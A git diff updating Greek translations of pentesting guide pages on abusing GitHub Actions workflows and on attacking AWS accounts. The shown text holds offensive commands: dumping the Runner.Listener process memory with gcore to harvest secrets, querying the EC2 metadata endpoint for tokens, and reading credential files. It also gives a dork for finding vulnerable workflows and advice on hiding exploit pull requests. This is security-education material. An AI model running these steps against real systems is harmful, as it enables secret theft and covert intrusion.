-Το δεύτερο αποτελείται από το **να περάσει** ένα **artifact** από τον **μη αξιόπιστο** κώδικα στη ροή εργασίας **`workflow_run`** και να χρησιμοποιήσει το περιεχόμενο αυτού του artifact με τρόπο που το καθιστά **ευάλωτο σε RCE**.
+Αυτή η ροή εργασίας θα μπορούσε να επιτεθεί αν **εξαρτάται** από μια **ροή εργασίας** που μπορεί να **προκληθεί** από έναν εξωτερικό χρήστη μέσω **`pull_request`** ή **`pull_request_target`**. Μερικά ευάλωτα παραδείγματα μπορούν να [**βρεθούν σε αυτό το blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Το πρώτο συνίσταται στη ροή εργασίας που προκαλείται από το **`workflow_run`** να κατεβάσει τον κώδικα των επιτιθέμενων: `${{ github.event.pull_request.head.sha }}`\
+Το δεύτερο συνίσταται στο **να περάσει** ένα **artifact** από τον **μη αξιόπιστο** κώδικα στη ροή εργασίας **`workflow_run`** και να χρησιμοποιήσει το περιεχόμενο αυτού του artifact με τρόπο που το καθιστά **ευάλωτο σε RCE**.
### `workflow_call`
@@ -234,14 +234,14 @@ TODO: Ελέγξτε αν όταν εκτελείται από ένα pull_reque
### Εκτέλεση μη αξιόπιστης checkout
-Στην περίπτωση του **`pull_request`,** η ροή εργασίας θα εκτελείται στο **πλαίσιο του PR** (έτσι θα εκτελεί τον **κακόβουλο κώδικα του PR**), αλλά κάποιος πρέπει να **το εξουσιοδοτήσει πρώτα** και θα τρέξει με κάποιους [περιορισμούς](./#pull_request).
+Στην περίπτωση του **`pull_request`,** η ροή εργασίας θα εκτελείται στο **πλαίσιο του PR** (έτσι θα εκτελέσει τον **κακόβουλο κώδικα του PR**), αλλά κάποιος πρέπει να **το εξουσιοδοτήσει πρώτα** και θα εκτελείται με κάποιους [περιορισμούς](#pull_request).
Στην περίπτωση μιας ροής εργασίας που χρησιμοποιεί **`pull_request_target` ή `workflow_run`** που εξαρτάται από μια ροή εργασίας που μπορεί να προκληθεί από **`pull_request_target` ή `pull_request`** ο κώδικας από το αρχικό repo θα εκτελείται, έτσι ο **επιτιθέμενος δεν μπορεί να ελέγξει τον εκτελούμενο κώδικα**.
> [!CAUTION]
> Ωστόσο, αν η **ενέργεια** έχει μια **ρητή PR checkout** που θα **πάρε τον κώδικα από το PR** (και όχι από τη βάση), θα χρησιμοποιήσει τον κώδικα που ελέγχεται από τους επιτιθέμενους. Για παράδειγμα (ελέγξτε τη γραμμή 12 όπου ο κώδικας του PR κατεβαίνει):
-
# INSECURE. Παρέχεται μόνο ως παράδειγμα.
+
# INSECURE. Provided as an example only.
on:
pull_request_target
@@ -269,12 +269,12 @@ message: |
Thank you!
-Ο δυνητικά **μη αξιόπιστος κώδικας εκτελείται κατά τη διάρκεια του `npm install` ή `npm build`** καθώς τα build scripts και τα αναφερόμενα **πακέτα ελέγχονται από τον συγγραφέα του PR**.
+Ο δυνητικά **μη αξιόπιστος κώδικας εκτελείται κατά τη διάρκεια του `npm install` ή `npm build`** καθώς τα σενάρια κατασκευής και τα αναφερόμενα **πακέτα ελέγχονται από τον συγγραφέα του PR**.
> [!WARNING]
> Ένας github dork για αναζήτηση ευάλωτων ενεργειών είναι: `event.pull_request pull_request_target extension:yml` ωστόσο, υπάρχουν διάφοροι τρόποι για να ρυθμιστούν οι εργασίες ώστε να εκτελούνται με ασφάλεια ακόμη και αν η ενέργεια είναι ρυθμισμένη ανασφαλώς (όπως η χρήση συνθηκών σχετικά με το ποιος είναι ο ηθοποιός που δημιουργεί το PR).
-### Εισβολές Σκηνικών Κώδικα
+### Εισβολές Σκηνικών
Σημειώστε ότι υπάρχουν ορισμένα [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) των οποίων οι τιμές είναι **ελεγχόμενες** από τον **χρήστη** που δημιουργεί το PR. Αν η github action χρησιμοποιεί αυτά τα **δεδομένα για να εκτελέσει οτιδήποτε**, θα μπορούσε να οδηγήσει σε **εκτέλεση αυθαίρετου κώδικα:**
@@ -323,7 +323,7 @@ with:
name: artifact
path: ./script.py
```
-Αυτό θα μπορούσε να επιτεθεί με αυτό το ροή εργασίας:
+Αυτή η διαδικασία θα μπορούσε να επιτεθεί με αυτό το ροή εργασίας:
```yaml
name: "some workflow"
on: pull_request
@@ -344,12 +344,12 @@ path: ./script.py
### Hijacking Διαγραφέντος Namespace Repo
-Αν ένας λογαριασμός αλλάξει το όνομά του, ένας άλλος χρήστης θα μπορούσε να εγγραφεί με αυτό το όνομα μετά από κάποιο χρονικό διάστημα. Αν ένα αποθετήριο είχε **λιγότερα από 100 αστέρια πριν την αλλαγή ονόματος**, το Github θα επιτρέψει στον νέο εγγεγραμμένο χρήστη με το ίδιο όνομα να δημιουργήσει ένα **αποθετήριο με το ίδιο όνομα** όπως το διαγραμμένο.
+Εάν ένας λογαριασμός αλλάξει όνομα, ένας άλλος χρήστης θα μπορούσε να εγγραφεί με αυτό το όνομα μετά από κάποιο χρονικό διάστημα. Εάν ένα αποθετήριο είχε **λιγότερους από 100 αστέρες πριν την αλλαγή ονόματος**, το Github θα επιτρέψει στον νέο εγγεγραμμένο χρήστη με το ίδιο όνομα να δημιουργήσει ένα **αποθετήριο με το ίδιο όνομα** όπως αυτό που διαγράφηκε.
> [!CAUTION]
-> Έτσι, αν μια ενέργεια χρησιμοποιεί ένα αποθετήριο από έναν ανύπαρκτο λογαριασμό, είναι ακόμα πιθανό ένας επιτιθέμενος να δημιουργήσει αυτόν τον λογαριασμό και να συμβιβάσει την ενέργεια.
+> Έτσι, εάν μια ενέργεια χρησιμοποιεί ένα αποθετήριο από έναν ανύπαρκτο λογαριασμό, είναι ακόμα πιθανό ένας επιτιθέμενος να δημιουργήσει αυτόν τον λογαριασμό και να συμβιβάσει την ενέργεια.
-Αν άλλα αποθετήρια χρησιμοποιούσαν **εξαρτήσεις από αυτά τα αποθετήρια του χρήστη**, ένας επιτιθέμενος θα είναι σε θέση να τα hijack. Εδώ έχετε μια πιο ολοκληρωμένη εξήγηση: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
+Εάν άλλα αποθετήρια χρησιμοποιούσαν **εξαρτήσεις από αυτά τα αποθετήρια του χρήστη**, ένας επιτιθέμενος θα είναι σε θέση να τα hijack. Εδώ έχετε μια πιο ολοκληρωμένη εξήγηση: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
---
@@ -360,7 +360,7 @@ path: ./script.py
### Cache Poisoning
-Ένα cache διατηρείται μεταξύ **των εκτελέσεων workflow στην ίδια branch**. Αυτό σημαίνει ότι αν ένας επιτιθέμενος **συμβιβάσει** ένα **πακέτο** που αποθηκεύεται στη cache και **κατεβαίνει** και εκτελείται από ένα **πιο προνομιούχο** workflow, θα είναι σε θέση να **συμβιβάσει** και αυτό το workflow.
+Ένα cache διατηρείται μεταξύ **των εκτελέσεων workflow στην ίδια branch**. Αυτό σημαίνει ότι εάν ένας επιτιθέμενος **συμβιβάσει** ένα **πακέτο** που στη συνέχεια αποθηκεύεται στην cache και **κατεβαίνει** και εκτελείται από ένα **πιο προνομιούχο** workflow, θα είναι σε θέση να **συμβιβάσει** και αυτό το workflow.
{{#ref}}
gh-actions-cache-poisoning.md
@@ -368,7 +368,7 @@ gh-actions-cache-poisoning.md
### Artifact Poisoning
-Τα workflows θα μπορούσαν να χρησιμοποιούν **artifacts από άλλα workflows και ακόμη και αποθετήρια**, αν ένας επιτιθέμενος καταφέρει να **συμβιβάσει** την Github Action που **ανεβάζει ένα artifact** που χρησιμοποιείται αργότερα από άλλο workflow, θα μπορούσε να **συμβιβάσει τα άλλα workflows**:
+Τα workflows θα μπορούσαν να χρησιμοποιούν **artifacts από άλλα workflows και ακόμη και αποθετήρια**, εάν ένας επιτιθέμενος καταφέρει να **συμβιβάσει** την Github Action που **ανεβάζει ένα artifact** που χρησιμοποιείται αργότερα από άλλο workflow, θα μπορούσε να **συμβιβάσει τα άλλα workflows**:
{{#ref}}
gh-actions-artifact-poisoning.md
@@ -376,7 +376,7 @@ gh-actions-artifact-poisoning.md
---
-## Post Exploitation από μια Ενέργεια
+## Μετά την Εκμετάλλευση από μια Ενέργεια
### Πρόσβαση σε AWS και GCP μέσω OIDC
@@ -392,9 +392,9 @@ gh-actions-artifact-poisoning.md
### Πρόσβαση σε μυστικά
-Αν εισάγετε περιεχόμενο σε ένα σενάριο, είναι ενδιαφέρον να γνωρίζετε πώς μπορείτε να αποκτήσετε πρόσβαση σε μυστικά:
+Εάν εισάγετε περιεχόμενο σε ένα σενάριο, είναι ενδιαφέρον να γνωρίζετε πώς μπορείτε να αποκτήσετε πρόσβαση σε μυστικά:
-- Αν το μυστικό ή το token έχει οριστεί σε μια **μεταβλητή περιβάλλοντος**, μπορεί να προσπελαστεί άμεσα μέσω του περιβάλλοντος χρησιμοποιώντας **`printenv`**.
+- Εάν το μυστικό ή το token έχει οριστεί σε μια **μεταβλητή περιβάλλοντος**, μπορεί να προσπελαστεί άμεσα μέσω του περιβάλλοντος χρησιμοποιώντας **`printenv`**.
@@ -464,27 +464,27 @@ with:
key: ${{ secrets.PUBLISH_KEY }}
```
-### Κατάχρηση αυτο-φιλοξενούμενων runners
+### Κατάχρηση Αυτοφιλοξενούμενων εκτελεστών
Ο τρόπος για να βρείτε ποιες **Github Actions εκτελούνται σε υποδομή εκτός Github** είναι να αναζητήσετε **`runs-on: self-hosted`** στη διαμόρφωση yaml της Github Action.
-Οι **αυτο-φιλοξενούμενοι** runners μπορεί να έχουν πρόσβαση σε **επιπλέον ευαίσθητες πληροφορίες**, σε άλλα **δικτυακά συστήματα** (ευάλωτα endpoints στο δίκτυο; υπηρεσία μεταδεδομένων;) ή, ακόμα και αν είναι απομονωμένοι και καταστραφούν, **περισσότερες από μία ενέργειες μπορεί να εκτελούνται ταυτόχρονα** και η κακόβουλη μπορεί να **κλέψει τα μυστικά** της άλλης.
+Οι **αυτοφιλοξενούμενοι** εκτελεστές μπορεί να έχουν πρόσβαση σε **επιπλέον ευαίσθητες πληροφορίες**, σε άλλα **δικτυακά συστήματα** (ευάλωτα endpoints στο δίκτυο; υπηρεσία μεταδεδομένων;) ή, ακόμα και αν είναι απομονωμένοι και καταστραφούν, **περισσότερες από μία ενέργειες μπορεί να εκτελούνται ταυτόχρονα** και η κακόβουλη μπορεί να **κλέψει τα μυστικά** της άλλης.
-Σε αυτο-φιλοξενούμενους runners είναι επίσης δυνατό να αποκτηθούν τα **μυστικά από τη διαδικασία \_Runner.Listener**\_\*\* που θα περιέχει όλα τα μυστικά των ροών εργασίας σε οποιοδήποτε βήμα, εκχυλίζοντας τη μνήμη της:
+Στους αυτοφιλοξενούμενους εκτελεστές είναι επίσης δυνατό να αποκτηθούν τα **μυστικά από τη διαδικασία \_Runner.Listener**\_\*\* που θα περιέχει όλα τα μυστικά των ροών εργασίας σε οποιοδήποτε βήμα, ρίχνοντας τη μνήμη της:
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
```
-Δείτε [**αυτή την ανάρτηση για περισσότερες πληροφορίες**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
+Ελέγξτε [**αυτή την ανάρτηση για περισσότερες πληροφορίες**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
### Github Docker Images Registry
-Είναι δυνατόν να δημιουργήσετε Github actions που θα **κατασκευάσουν και θα αποθηκεύσουν μια εικόνα Docker μέσα στο Github**.\
-Ένα παράδειγμα μπορεί να βρεθεί στην παρακάτω επεκτάσιμη ενότητα:
+Είναι δυνατόν να δημιουργήσετε Github actions που θα **χτίσουν και θα αποθηκεύσουν μια εικόνα Docker μέσα στο Github**.\
+Ένα παράδειγμα μπορεί να βρεθεί στο παρακάτω επεκτάσιμο:
-Github Action Build & Push Docker Image
+Github Action Build & Push Docker Image
```yaml
[...]
@@ -517,7 +517,7 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
Όπως μπορείτε να δείτε στον προηγούμενο κώδικα, το Github registry φιλοξενείται στο **`ghcr.io`**.
-Ένας χρήστης με δικαιώματα ανάγνωσης πάνω στο repo θα μπορεί στη συνέχεια να κατεβάσει την εικόνα Docker χρησιμοποιώντας ένα προσωπικό διακριτικό πρόσβασης:
+Ένας χρήστης με δικαιώματα ανάγνωσης πάνω στο repo θα μπορεί στη συνέχεια να κατεβάσει την Docker Image χρησιμοποιώντας ένα προσωπικό access token:
```bash
echo $gh_token | docker login ghcr.io -u --password-stdin
docker pull ghcr.io//:
@@ -525,7 +525,7 @@ docker pull ghcr.io//:
Τότε, ο χρήστης θα μπορούσε να αναζητήσει **leaked secrets in the Docker image layers:**
{{#ref}}
-https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
+https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
{{#endref}}
### Ευαίσθητες πληροφορίες στα logs του Github Actions
@@ -534,9 +534,9 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m
## Καλύπτοντας τα Ίχνη σας
-(Τεχνική από [**εδώ**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Πρώτα απ' όλα, οποιοδήποτε PR υποβληθεί είναι σαφώς ορατό στο κοινό στο Github και στον στοχοθετημένο λογαριασμό GitHub. Στο GitHub από προεπιλογή, **δεν μπορούμε να διαγράψουμε ένα PR από το διαδίκτυο**, αλλά υπάρχει μια ανατροπή. Για λογαριασμούς Github που είναι **ανασταλμένοι** από το Github, όλα τα **PRs τους διαγράφονται αυτόματα** και αφαιρούνται από το διαδίκτυο. Έτσι, για να κρύψετε τη δραστηριότητά σας, πρέπει είτε να κάνετε τον **λογαριασμό σας GitHub ανασταλμένο είτε να σημαδευτεί ο λογαριασμός σας**. Αυτό θα **κρύψει όλες τις δραστηριότητές σας** στο GitHub από το διαδίκτυο (βασικά θα αφαιρέσει όλα τα exploit PR σας)
+(Τεχνική από [**εδώ**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Πρώτα απ' όλα, οποιοδήποτε PR έχει υποβληθεί είναι σαφώς ορατό στο κοινό στο Github και στον στοχοθετημένο λογαριασμό GitHub. Στο GitHub από προεπιλογή, **δεν μπορούμε να διαγράψουμε ένα PR από το διαδίκτυο**, αλλά υπάρχει μια ανατροπή. Για λογαριασμούς Github που είναι **ανασταλμένοι** από το Github, όλα τα **PRs τους διαγράφονται αυτόματα** και αφαιρούνται από το διαδίκτυο. Έτσι, για να κρύψετε τη δραστηριότητά σας, πρέπει είτε να κάνετε τον **λογαριασμό σας GitHub ανασταλμένο είτε να σημαδευτεί ο λογαριασμός σας**. Αυτό θα **κρύψει όλες τις δραστηριότητές σας** στο GitHub από το διαδίκτυο (βασικά θα αφαιρέσει όλα τα exploit PR σας)
-Μια οργάνωση στο GitHub είναι πολύ προληπτική στην αναφορά λογαριασμών στο GitHub. Το μόνο που χρειάζεται να κάνετε είναι να μοιραστείτε "μερικά πράγματα" σε Issue και θα φροντίσουν να ανασταλεί ο λογαριασμός σας σε 12 ώρες :p και εκεί το έχετε, κάνατε το exploit σας αόρατο στο github.
+Μια οργάνωση στο GitHub είναι πολύ προληπτική στην αναφορά λογαριασμών στο GitHub. Το μόνο που χρειάζεται να κάνετε είναι να μοιραστείτε “μερικά πράγματα” σε Issue και θα φροντίσουν να ανασταλεί ο λογαριασμός σας σε 12 ώρες :p και εκεί το έχετε, κάνατε το exploit σας αόρατο στο github.
> [!WARNING]
> Ο μόνος τρόπος για μια οργάνωση να καταλάβει ότι έχουν στοχοποιηθεί είναι να ελέγξουν τα logs του GitHub από το SIEM, καθώς από το UI του GitHub το PR θα έχει αφαιρεθεί.
diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md
index 15f21032a..54a5f3051 100644
--- a/src/pentesting-cloud/aws-security/README.md
+++ b/src/pentesting-cloud/aws-security/README.md
@@ -4,7 +4,7 @@
## Basic Information
-**Πριν ξεκινήσετε το pentesting** ενός **AWS** περιβάλλοντος, υπάρχουν μερικά **βασικά πράγματα που πρέπει να γνωρίζετε** σχετικά με το πώς λειτουργεί το AWS για να σας βοηθήσουν να κατανοήσετε τι πρέπει να κάνετε, πώς να βρείτε κακοδιαμορφώσεις και πώς να τις εκμεταλλευτείτε.
+**Πριν ξεκινήσετε το pentesting** ενός **AWS** περιβάλλοντος, υπάρχουν μερικά **βασικά πράγματα που πρέπει να γνωρίζετε** σχετικά με το πώς λειτουργεί το AWS για να σας βοηθήσει να κατανοήσετε τι πρέπει να κάνετε, πώς να βρείτε κακοδιαμορφώσεις και πώς να τις εκμεταλλευτείτε.
Έννοιες όπως η ιεραρχία οργανισμού, το IAM και άλλες βασικές έννοιες εξηγούνται σε:
@@ -36,14 +36,14 @@ Tools to simulate attacks:
- **Leaks** σε github (ή παρόμοια) - OSINT
- **Social** Engineering
- **Password** reuse (password leaks)
-- Ευπάθειες σε εφαρμογές που φιλοξενούνται στο AWS
-- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) με πρόσβαση στο endpoint μεταδεδομένων
+- Ευπάθειες σε AWS-Hosted Applications
+- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) με πρόσβαση στο metadata endpoint
- **Local File Read**
- `/home/USERNAME/.aws/credentials`
- `C:\Users\USERNAME\.aws\credentials`
- 3rd parties **breached**
- **Internal** Employee
-- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)credentials
+- [**Cognito** ](aws-services/aws-cognito-enum/index.html#cognito)credentials
Ή με **συμβιβασμό μιας μη αυθεντικοποιημένης υπηρεσίας** που εκτίθεται:
@@ -67,12 +67,12 @@ aws-permissions-for-a-pentest.md
Αν βρείτε ένα SSRF σε μια μηχανή μέσα στο AWS, ελέγξτε αυτή τη σελίδα για κόλπα:
{{#ref}}
-https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
+https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
{{#endref}}
### Whoami
-Ένα από τα πρώτα πράγματα που πρέπει να γνωρίζετε είναι ποιος είστε (σε ποιον λογαριασμό είστε και άλλες πληροφορίες σχετικά με το περιβάλλον AWS):
+Ένα από τα πρώτα πράγματα που πρέπει να γνωρίζετε είναι ποιος είστε (σε ποιον λογαριασμό είστε και άλλες πληροφορίες σχετικά με το AWS env):
```bash
# Easiest way, but might be monitored?
aws sts get-caller-identity
@@ -89,7 +89,7 @@ TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metad
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document
```
> [!CAUTION]
-> Σημειώστε ότι οι εταιρείες μπορεί να χρησιμοποιούν **canary tokens** για να εντοπίσουν πότε **κλέβονται και χρησιμοποιούνται tokens**. Συνιστάται να ελέγξετε αν ένα token είναι canary token ή όχι πριν το χρησιμοποιήσετε.\
+> Σημειώστε ότι οι εταιρείες μπορεί να χρησιμοποιούν **canary tokens** για να εντοπίσουν πότε **κωδικοί πρόσβασης κλέβονται και χρησιμοποιούνται**. Συνιστάται να ελέγξετε αν ένας κωδικός είναι canary token ή όχι πριν τον χρησιμοποιήσετε.\
> Για περισσότερες πληροφορίες [**ελέγξτε αυτή τη σελίδα**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
### Org Enumeration
@@ -102,7 +102,7 @@ aws-services/aws-organizations-enum.md
Αν έχετε αρκετά δικαιώματα, **ο έλεγχος των προνομίων κάθε οντότητας μέσα στον λογαριασμό AWS** θα σας βοηθήσει να κατανοήσετε τι μπορείτε να κάνετε εσείς και άλλες ταυτότητες και πώς να **κλιμακώσετε τα προνόμια**.
-Αν δεν έχετε αρκετά δικαιώματα για να καταγράψετε IAM, μπορείτε να **τα κλέψετε με brute force** για να τα ανακαλύψετε.\
+Αν δεν έχετε αρκετά δικαιώματα για να καταγράψετε το IAM, μπορείτε να **τα κλέψετε με brute force** για να τα ανακαλύψετε.\
Δείτε **πώς να κάνετε την καταγραφή και το brute-forcing** στο:
{{#ref}}
@@ -110,7 +110,7 @@ aws-services/aws-iam-enum.md
{{#endref}}
> [!NOTE]
-> Τώρα που **έχετε κάποιες πληροφορίες για τα διαπιστευτήριά σας** (και αν είστε red team ελπίζω να **δεν έχετε ανιχνευθεί**). Είναι καιρός να κατανοήσετε ποιες υπηρεσίες χρησιμοποιούνται στο περιβάλλον.\
+> Τώρα που **έχετε κάποιες πληροφορίες για τα διαπιστευτήριά σας** (και αν είστε red team ελπίζω να **δεν έχετε εντοπιστεί**). Είναι καιρός να κατανοήσετε ποιες υπηρεσίες χρησιμοποιούνται στο περιβάλλον.\
> Στην επόμενη ενότητα μπορείτε να δείτε μερικούς τρόπους για να **καταγράψετε κάποιες κοινές υπηρεσίες.**
## Services Enumeration, Post-Exploitation & Persistence
@@ -121,7 +121,7 @@ aws-services/aws-iam-enum.md
aws-services/
{{#endref}}
-Σημειώστε ότι **δεν** χρειάζεται να εκτελέσετε όλη τη δουλειά **χειροκίνητα**, παρακάτω σε αυτή την ανάρτηση μπορείτε να βρείτε μια **ενότητα σχετικά με** [**αυτόματα εργαλεία**](./#automated-tools).
+Σημειώστε ότι **δεν** χρειάζεται να εκτελέσετε όλη τη δουλειά **χειροκίνητα**, παρακάτω σε αυτή την ανάρτηση μπορείτε να βρείτε μια **ενότητα σχετικά με** [**αυτόματα εργαλεία**](#automated-tools).
Επιπλέον, σε αυτό το στάδιο μπορεί να έχετε ανακαλύψει **περισσότερες υπηρεσίες εκτεθειμένες σε μη αυθεντικοποιημένους χρήστες,** μπορεί να είστε σε θέση να τις εκμεταλλευτείτε:
@@ -139,29 +139,29 @@ aws-privilege-escalation/
## Publicly Exposed Services
-Κατά την καταγραφή υπηρεσιών AWS μπορεί να έχετε βρει κάποιες από αυτές **να εκθέτουν στοιχεία στο Διαδίκτυο** (θύρες VM/Containers, βάσεις δεδομένων ή υπηρεσίες ουρών, στιγμιότυπα ή buckets...).\
+Κατά την καταγραφή υπηρεσιών AWS μπορεί να έχετε βρει κάποιες από αυτές **να εκθέτουν στοιχεία στο Διαδίκτυο** (θύρες VM/Containers, βάσεις δεδομένων ή υπηρεσίες ουρών, στιγμιότυπα ή κάδους...).\
Ως pentester/red teamer θα πρέπει πάντα να ελέγχετε αν μπορείτε να βρείτε **ευαίσθητες πληροφορίες / ευπάθειες** σε αυτές καθώς μπορεί να σας παρέχουν **περαιτέρω πρόσβαση στον λογαριασμό AWS**.
-Σε αυτό το βιβλίο θα πρέπει να βρείτε **πληροφορίες** σχετικά με το πώς να βρείτε **εκτεθειμένες υπηρεσίες AWS και πώς να τις ελέγξετε**. Για το πώς να βρείτε **ευπάθειες σε εκτεθειμένες δικτυακές υπηρεσίες** θα σας συνιστούσα να **αναζητήσετε** την συγκεκριμένη **υπηρεσία** στο:
+Σε αυτό το βιβλίο θα πρέπει να βρείτε **πληροφορίες** σχετικά με το πώς να βρείτε **εκτεθειμένες υπηρεσίες AWS και πώς να τις ελέγξετε**. Για το πώς να βρείτε **ευπάθειες σε εκτεθειμένες υπηρεσίες δικτύου** θα σας συνιστούσα να **αναζητήσετε** την συγκεκριμένη **υπηρεσία** στο:
{{#ref}}
-https://book.hacktricks.xyz/
+https://book.hacktricks.wiki/
{{#endref}}
## Compromising the Organization
### From the root/management account
-Όταν ο λογαριασμός διαχείρισης δημιουργεί νέους λογαριασμούς στην οργάνωση, δημιουργείται μια **νέα ρόλος** στον νέο λογαριασμό, ο οποίος ονομάζεται από προεπιλογή **`OrganizationAccountAccessRole`** και δίνει πολιτική **AdministratorAccess** στον **λογαριασμό διαχείρισης** για να έχει πρόσβαση στον νέο λογαριασμό.
+Όταν ο λογαριασμός διαχείρισης δημιουργεί νέους λογαριασμούς στην οργάνωση, δημιουργείται μια **νέα ρόλος** στον νέο λογαριασμό, που ονομάζεται από προεπιλογή **`OrganizationAccountAccessRole`** και δίνει πολιτική **AdministratorAccess** στον **λογαριασμό διαχείρισης** για να έχει πρόσβαση στον νέο λογαριασμό.
Έτσι, για να αποκτήσετε πρόσβαση ως διαχειριστής σε έναν παιδικό λογαριασμό χρειάζεστε:
-- **Να παραβιάσετε** τον **λογαριασμό διαχείρισης** και να βρείτε το **ID** των **παιδικών λογαριασμών** και τα **ονόματα** της **ρόλου** (OrganizationAccountAccessRole από προεπιλογή) που επιτρέπει στον λογαριασμό διαχείρισης να έχει πρόσβαση ως διαχειριστής.
-- Για να βρείτε παιδικούς λογαριασμούς, πηγαίνετε στην ενότητα οργανώσεων στην κονσόλα aws ή εκτελέστε `aws organizations list-accounts`
-- Δεν μπορείτε να βρείτε το όνομα των ρόλων απευθείας, οπότε ελέγξτε όλες τις προσαρμοσμένες πολιτικές IAM και αναζητήστε οποιαδήποτε επιτρέπει **`sts:AssumeRole` πάνω στους προηγουμένως ανακαλυφθέντες παιδικούς λογαριασμούς**.
-- **Να παραβιάσετε** έναν **κύριο** στον λογαριασμό διαχείρισης με **`sts:AssumeRole` άδεια πάνω στη ρόλο στους παιδικούς λογαριασμούς** (ακόμα και αν ο λογαριασμός επιτρέπει σε οποιονδήποτε από τον λογαριασμό διαχείρισης να προσποιείται, καθώς είναι εξωτερικός λογαριασμός, συγκεκριμένες άδειες `sts:AssumeRole` είναι απαραίτητες).
+- **Συμβιβασμός** του **λογαριασμού διαχείρισης** και εύρεση του **ID** των **παιδικών λογαριασμών** και των **ονόματων** της **ρόλου** (OrganizationAccountAccessRole από προεπιλογή) που επιτρέπει στον λογαριασμό διαχείρισης να έχει πρόσβαση ως διαχειριστής.
+- Για να βρείτε τους παιδικούς λογαριασμούς, πηγαίνετε στην ενότητα οργανώσεων στην κονσόλα aws ή εκτελέστε `aws organizations list-accounts`
+- Δεν μπορείτε να βρείτε το όνομα των ρόλων άμεσα, οπότε ελέγξτε όλες τις προσαρμοσμένες πολιτικές IAM και αναζητήστε οποιαδήποτε επιτρέπει **`sts:AssumeRole` πάνω στους προηγουμένως ανακαλυφθέντες παιδικούς λογαριασμούς**.
+- **Συμβιβασμός** ενός **principal** στον λογαριασμό διαχείρισης με **`sts:AssumeRole` άδεια πάνω στη ρόλο στους παιδικούς λογαριασμούς** (ακόμα και αν ο λογαριασμός επιτρέπει σε οποιονδήποτε από τον λογαριασμό διαχείρισης να προσποιείται, καθώς είναι εξωτερικός λογαριασμός, συγκεκριμένες άδειες `sts:AssumeRole` είναι απαραίτητες).
## Automated Tools
@@ -224,7 +224,7 @@ python3 cloudmapper.py public --accounts dev
python cloudmapper.py prepare #Prepare webserver
python cloudmapper.py webserver #Show webserver
```
-- [**cartography**](https://github.com/lyft/cartography): Η Cartography είναι ένα εργαλείο Python που ενοποιεί τα περιουσιακά στοιχεία υποδομής και τις σχέσεις μεταξύ τους σε μια διαισθητική γραφική απεικόνιση που υποστηρίζεται από μια βάση δεδομένων Neo4j.
+- [**cartography**](https://github.com/lyft/cartography): Το Cartography είναι ένα εργαλείο Python που ενοποιεί τα περιουσιακά στοιχεία υποδομής και τις σχέσεις μεταξύ τους σε μια διαισθητική γραφική απεικόνιση που υποστηρίζεται από μια βάση δεδομένων Neo4j.
```bash
# Install
pip install cartography
@@ -233,14 +233,14 @@ pip install cartography
# Get AWS info
AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j
```
-- [**starbase**](https://github.com/JupiterOne/starbase): Το Starbase συλλέγει περιουσιακά στοιχεία και σχέσεις από υπηρεσίες και συστήματα, συμπεριλαμβανομένων υποδομών cloud, εφαρμογών SaaS, ελέγχων ασφαλείας και άλλων, σε μια διαισθητική γραφική απεικόνιση υποστηριζόμενη από τη βάση δεδομένων Neo4j.
+- [**starbase**](https://github.com/JupiterOne/starbase): Το Starbase συλλέγει περιουσιακά στοιχεία και σχέσεις από υπηρεσίες και συστήματα, συμπεριλαμβανομένης της υποδομής cloud, εφαρμογών SaaS, ελέγχων ασφαλείας και άλλων, σε μια διαισθητική γραφική απεικόνιση που υποστηρίζεται από τη βάση δεδομένων Neo4j.
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Χρησιμοποιεί python2) Αυτό είναι ένα εργαλείο που προσπαθεί να **ανακαλύψει όλα** [**AWS resources**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) που έχουν δημιουργηθεί σε έναν λογαριασμό.
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): Είναι ένα εργαλείο για **να ανακτήσει όλες τις δημόσιες διευθύνσεις IP** (τόσο IPv4/IPv6) που σχετίζονται με έναν λογαριασμό AWS.
### Privesc & Exploiting
